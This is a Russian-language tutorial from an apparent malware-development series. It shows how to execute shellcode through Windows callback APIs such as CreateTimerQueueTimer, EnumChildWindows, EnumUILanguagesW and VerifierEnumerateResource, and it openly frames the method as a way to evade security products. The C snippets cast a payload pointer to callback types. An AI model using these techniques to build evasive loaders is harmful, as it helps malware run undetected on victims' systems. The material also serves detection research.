Вызов кода через функции обратного вызова

1746783119535.png


Введение

Функции обратного вызова используются для обработки событий или выполнения действия, когда выполняется определенное условие. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность.

Определение функции обратного вызова от Microsoft следующее:

Функция обратного вызова - это код в управляемом приложении, который помогает функции неконтролируемой DLL завершить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно к управляемой реализации.

Некоторые обычные API Windows имеют возможность выполнять полезные нагрузки с помощью обратных вызовов. Их использование предоставляет преимущества перед решениями безопасности, так как эти функции могут казаться безвредными и потенциально уклоняться от некоторых решений по безопасности.

Злоупотребление функциями обратного вызова

Обратные вызовы Windows можно выполнить с помощью указателя на функцию. Чтобы запустить полезную нагрузку, адрес полезной нагрузки должен быть передан вместо действительного указателя на функцию обратного вызова. Выполнение обратного вызова может заменить использование CreateThread WinAPI и других техник, связанных с выполнением потоков. Кроме того, нет необходимости правильно использовать функции, передавая соответствующие параметры. Возвращаемое значение или функциональность этих функций не имеют значения.

Одним важным моментом о функциях обратного вызова является то, что они работают только в адресном пространстве локального процесса и не могут быть использованы для выполнения техник внедрения удаленного кода.

Примеры функций обратного вызова

Следующие функции способны выполнять функции обратного вызова.

3-й параметр CreateTimerQueueTimer:
C:
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback, // здесь
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);

2-й параметр EnumChildWindows:
C:
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc, // здесь
[in] LPARAM lParam
);

1-й параметр EnumUILanguagesW:
C:
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, // здесь
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);

4-й параметр VerifierEnumerateResource:
C:
ULONG VerifierEnumerateResource(
HANDLE Process,
ULONG Flags,
ULONG ResourceType,
AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback, // здесь
PVOID EnumerationContext
);

Следующие разделы предоставят подробные объяснения для каждой из этих функций. Полезная нагрузка, используемая в примерах кода, хранится в разделе .text бинарного файла. Это позволяет shellcode иметь необходимые разрешения памяти RX, не прибегая к выделению исполняемой памяти с использованием VirtualAlloc или других функций выделения памяти.

Использование CreateTimerQueueTimer

CreateTimerQueueTimer создает новый таймер и добавляет его в указанную очередь таймеров. Таймер определяется с помощью функции обратного вызова, которая вызывается, когда таймер истекает. Функция обратного вызова выполняется потоком, который создал очередь таймеров.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
HANDLE hTimer = NULL;

if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
printf("[!] CreateTimerQueueTimer не удалось с ошибкой: %d \n", GetLastError());
return -1;
}

Использование EnumChildWindows

EnumChildWindows позволяет программе перечислять дочерние окна родительского окна. Он принимает дескриптор родительского окна в качестве входных данных и применяет определенную пользователем функцию обратного вызова к каждому из дочерних окон поочередно. Функция обратного вызова вызывается для каждого дочернего окна и получает дескриптор дочернего окна и значение, определенное пользователем, в качестве параметров.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

Использование EnumUILanguagesW

EnumUILanguagesW перечисляет языки пользовательского интерфейса (UI), установленные в системе. Он принимает функцию обратного вызова в качестве параметра и применяет функцию обратного вызова к каждому языку UI поочередно. Обратите внимание, что любое значение вместо флага MUI_LANGUAGE_NAME все равно работает.

Приведенный ниже фрагмент выполняет код, расположенный в Payload, как функцию обратного вызова.

C:
if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf("[!] EnumUILanguagesW не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

Использование VerifierEnumerateResource

VerifierEnumerateResource используется для перечисления ресурсов в указанном модуле. Ресурсы - это данные, которые хранятся в модуле (например, в исполняемом файле или библиотеке динамической компоновки) и к которым можно получить доступ модулем или другими модулями во время выполнения. Примеры ресурсов включают строки, битовые изображения и шаблоны диалоговых окон.

VerifierEnumerateResource экспортируется из verifier.dll, поэтому модуль должен быть динамически загружен с использованием LoadLibrary и GetProcAddress WinAPI для доступа к функции.

Обратите внимание, что если параметр ResourceType не равен AvrfResourceHeapAllocation, то полезная нагрузка не будет выполнена. AvrfResourceHeapAllocation позволяет функции перечислять выделение кучи, включая блоки метаданных кучи.

C:
HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL){
    printf("[!] LoadLibraryA не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
    printf("[!] GetProcAddress не удалось с ошибкой: %d \n", GetLastError());
    return -1;
}

// Необходимо установить флаг AvrfResourceHeapAllocation для выполнения полезной нагрузки
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Заключение

В этой статье рассмотрено несколько функций обратного вызова и продемонстрировано их использование для выполнения полезной нагрузки. Функции обратного вызова полезны только тогда, когда полезная нагрузка работает в адресном пространстве памяти локального процесса.

Страницу документации Microsoft можно исследовать, чтобы обнаружить дополнительные функции обратного вызова.

Кроме того, был создан репозиторий GitHub, который содержит список наиболее распространенных функций обратного вызова.
Следующая страница цикла: Инъекция отображаемой памяти
Предыдущая статья цикла: Изучаем технику APC Injection